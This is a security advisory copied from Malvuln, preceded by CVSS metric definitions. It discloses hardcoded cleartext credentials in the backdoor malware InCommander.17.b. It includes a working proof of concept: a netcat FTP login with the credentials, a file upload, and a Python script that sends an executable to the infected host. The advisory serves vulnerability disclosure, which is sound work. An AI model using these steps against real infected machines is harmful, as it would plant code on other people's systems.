The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Backdoor.Win32.InCommander.17.b / Hardcoded Cleartext Credentials
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/dd76d8a5874bf8bf05279e35c68449ca.txt
Contact: [email protected]
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln
Threat: Backdoor.Win32.InCommander.17.b
Vulnerability: Hardcoded Cleartext Credentials
Family: InCommander
Type: PE32
MD5: dd76d8a5874bf8bf05279e35c68449ca
Vuln ID: MVID-2022-0665
Dropped files: incsrv.exe
Disclosure: 12/14/2022
Description: The malware listens on TCP port 9400 and 9401 and requires authentication. However, the username "IncUser-b3" is stored in cleartext in a file named "incsrv.drv" under Windows dir. The password "InClientMainPassword" is also stored in cleartext but within the PE file "incsrv.exe" at offset 000958d0.
Third-party adversaries may then upload thier own executables using ftp PASV, STOR commands.
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 9401
220 InCommad FTP Server ready.
USER IncUser-b3
331 Password required for IncUser-b3.
PASS InClientMainPassword
230 User IncUser-b3 logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,241,155).
CDUP \
250 CWD command successful. "C:/" is current directory.
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=61851
DOOM="DOOM_SM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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